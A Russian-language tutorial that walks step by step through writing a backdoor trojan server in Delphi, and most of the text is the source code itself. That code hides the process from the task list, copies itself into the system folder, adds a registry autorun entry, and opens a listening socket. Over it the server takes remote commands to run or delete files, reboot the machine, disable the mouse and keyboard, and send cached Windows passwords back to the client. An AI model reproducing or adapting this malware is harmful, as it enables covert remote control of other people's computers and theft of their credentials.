Сегодня мы рассмотрим пример написания простейшего BackDoor’a на Delphi.

BackDoor – это троянский конь, состоящий из клиент и сервера. Клиент посылает серверу данные, а сервер их обрабатывает и выполняет какие-то действия.
1) Для начала будет создавать сервер. Войдем в Delphi, нажимаем File -> New Application. У нас появляется пустая форма, назовем её frmsrv.
Нажимаем Project -> View Source, стираем там все и пишем:
program Server;

uses

Forms,

Unit1 in 'Unit1.pas' {frmsrv};

begin

Application.Initialize;

Application.CreateForm(TFrmsrv, frmsrv);

Application.ShowMainForm:=false; //чтобы главная форма не показывалась

Application.Run;

end.

Уменьшим её размер (это не обязательно) и положим на форму компонент TServerSocket из раздела Internet, назовем его SrvMain.И компонент TfileListBox из раздела Win 3.1,назовем TfileListBox1. Приступим к написанию программного кода. Создадим процедуру запуска трояна при каждой загрузке Windows и скрытия его от Alt+Ctrl+Del. Заходим в программный код, добавляем в uses модуль Registry и пишем после строки {$R *.DFM}
Type tregisterserviceprocess = function (dwprocessid,dwtype:dword) : dword;stdcall;
Type TWNetEnumCachedPasswords = function (lp : lpStr; w : Word;b: Byte; pc : Pointer; dw : DWord) : Word;stdcall;
procedure HideACD; // Процедура для скрытия трояна от Alt+Ctrl+Del
var
hndl : thandle;
registerserviceprocess : tregisterserviceprocess;
begin
try
hndl:=loadlibrary('KERNEL32.DLL'); //Загружаем в память библиотеку
registerserviceprocess:=getprocaddress(hndl,'RegisterServiceProcess');

registerserviceprocess(getcurrentprocessid,1); //Используем функцию RegisterServiceProcess
freelibrary(hndl); // выгружаем библиотеку из памяти
except end;
end;
function WinDir: string;
var
intLen:integer;
strBuffer:string;
begin
SetLength(strBuffer,1000);
intLen:=GetWindowsDirectory(PChar(strBuffer),1000);

WinDir:=Trim(Copy(strBuffer,1,intLen));
end;
function SysDir: string; // Определение системной папки
var
intLen:integer;
strBuffer:string;
begin
SetLength(strBuffer,1000);
intLen:=GetSystemDirectory(PChar(strBuffer),1000);

SysDir:=Trim(Copy(strBuffer,1,intLen));
end;
procedure Install;
var
Reg:TRegistry;
cPath,Win:string;
begin
try
Win:=SysDir+’sys32.exe’; // Путь в системной папке
cPath:=Application.ExeName; // Путь к нашему exe-файлу
Reg:=TRegistry.Create;
Reg.RootKey:=HKEY_LOCAL_MACHINE; //пишемся в реестр
Reg.OpenKey('\Software\Microsoft\Windows\CurrentVersion\Run',False); //Открвыем ключ

//автозапуска
Reg.WriteString(‘Sys32’,Win); // Пишем путь к себе
Reg.CloseKey; // Закрываем ключ
Reg.Free;
if (cPath <> Win) then // если путь запущенного файла не равен путю файл в системной папке, то
begin
if FileExists(Win) then DeleteFile(Win); // если файл существует - удалить
CopyFile(PChar(cPath),PChar(Win),False); // скопировать себя.
end;
except end; // Также по желанию можно добавить прописывание в Win.ini и System.ini
end;
Нажимаем F11, у нас появляется (если не было) Object Inspector, выбираем в списке SrvMain. Ставим порт 567 или любой другой. К этому порту будет подключаться клиент. Затем переходим на вкладку Events и 2 раза жмем мышой рядом с надписью OnClientRead. У нас открывается программный код. Вот там и пишем:
procedure TFrmSrv.SrvMainClientRead(Sender: TObject; Socket: TCustomWinSocket);
var comd,param,str1,tmp: string;
i:integer;
Reg:Tregistry;
begin
str1:=socket.receivetext; // Принимаем данные от клиента
i:=pos('!?!',str1);
comd:=copy(str1,0,i-1);
param:=copy(str1,i+3,length(str1)-i);
if comd='reboot' then //если текст идущий до !?! равен reboot, то грузануть комп!
begin
ExitWindowsEx(EWX_REBOOT, 0);
Socket.SendText('tmp!?!Перезагружается...');
end;
if comd='opCD' then //открыть сидюк
begin
mciSendString(Pchar('set cdaudio door open'),nil,0,0);
Socket.SendText('tmp!?!CD-ROM открыт...');
end;
if comd='clCD'then
begin
mciSendString(Pchar('set cdaudio door closed'),nil,0,0);
Socket.SendText('tmp!?!CD-ROM закрыт...');
end;
if comd='dir'then //получить список файлов
begin
tmp:='file!?!'+ShowFile(param);
Socket.SendText(tmp);
end;
if comd='run' then //запустить файл
begin
if FileExists (param) then
begin
ShellExecute(handle,'Open',PChar(param),nil,nil,1);

Socket.SendText('tmp!?!Файл запущен...');
end
else
Socket.SendText('tmp!?!Не удалось запустить файл...');
end;
if comd='del' then //удалить файл
begin
if FileExists (param) then
begin
DeleteFile(param);
Socket.SendText('tmp!?!Файл удален...');
end
else
Socket.SendText('tmp!?!Не удалось удалить файл...');
end;
if comd='boot' then
begin
ExitWindowsEx(EWX_SHUTDOWN, 0);
Socket.SendText('tmp!?!Комп выключатеся...');
end;
if comd='getpass' then //получить кешированные пароли
begin
Socket.SendText('pass!?!'+GetPasswords);
end;
if comd='close' then // закрыть сервер
begin
Socket.SendText('tmp!?!Сервер Закрыт...');
Application.Terminate;
exit;
end;
if comd='killme' then
begin
Socket.SendText('tmp!?!Сервер удален...');
Reg:=TRegistry.Create;
Reg.RootKey:=HKEY_LOCAL_MACHINE;
Reg.OpenKey('\Software\Microsoft\Windows\CurrentVersion\Run',False); //Открвыем ключ

//автозапуска
Reg.deletevalue('Sys32'); // Удаляем
Reg.Free;
Application.Terminate;
exit;
end;
if comd='dismouse' then // отключаем мышь
begin
Socket.SendText('tmp!?!Мышь отключена...');
WinExec(PChar(WinDir + '\rundll32.exe mouse,disable'),SW_SHOWNORMAL);
end;
if comd='diskey' then // отключаем клаву
begin
Socket.SendText('tmp!?!Клава отключена...');
WinExec(PChar(WinDir + '\rundll32.exe keyboard,disable'),SW_SHOWNORMAL);
end;
if comd='msg' then // выдаем месагу
begin
MessageBox(application.Handle,PChar(param),'',32);

Socket.SendText('tmp!?!Сообщение послано...');
end;
end;
В процедуре создания формы пишем:
procedure TFrmSrv.FormCreate(Sender: TObject);

begin

HideACD; // прячемся от Ctrl+Alt+Del

Install; // устанавливаемся

SrvMain.Open; // открываем порт

SrvMain.Active:=true;

end;

И функции для получения паролей и списка файлов.
function TFrmSrv.ShowFile(param:string):string;

begin

frmsrv.FB.Directory:=param;

Result:=frmsrv.fb.items.text;

end;

Получение Кешированных паролей:
var
Count:Integer;
FPasswords:string;
function AddPassword(WinPassword:PWinPassword; dw:DWord):LongBool;stdcall;
var
Password:string;
PC: array [0..$FF] of Char;
begin
Inc(Count);
Move(WinPassword.PasswordC,PC,WinPassword.ResourceSize);

PC[WinPassword.ResourceSize] := #0;
CharToOem(PC,PC);
Password:=StrPas(PC);
Move(WinPassword.PasswordC,PC,WinPassword.ResourceSize + WinPassword.PasswordSize);
Move(PC[WinPassword.ResourceSize],PC,WinPassword.PasswordSize);

PC[WinPassword.PasswordSize]:=#0;
CharToOem(PC,PC);
Password:=Password + ': ' + StrPas(PC);
if (WinPassword.EntryType = 6) or (WinPassword.EntryType = 19) then
FPasswords:=FPasswords + Password + #13#10;
Result:=True;
end;
function TFrmSrv.GetPasswords:string;
var
hndl : thandle;
WNetEnumCachedPasswords : TWNetEnumCachedPasswords;
begin
try
hndl:=loadlibrary('MPR.DLL');
WNetEnumCachedPasswords:=getprocaddress(hndl,'WNetEnumCachedPasswords');

Count:=0;
FPasswords:='';
WNetEnumCachedPasswords(nil,0,$FF,@AddPassword,0);

freelibrary(hndl);
except end;
Result:=FPasswords;
end;
Все! Сервер завершен! Теперь осталось написать клиент, который к этому серверу будет присоединяться, но писать мы его не будем! Думаю и самим несложно будет это сделать.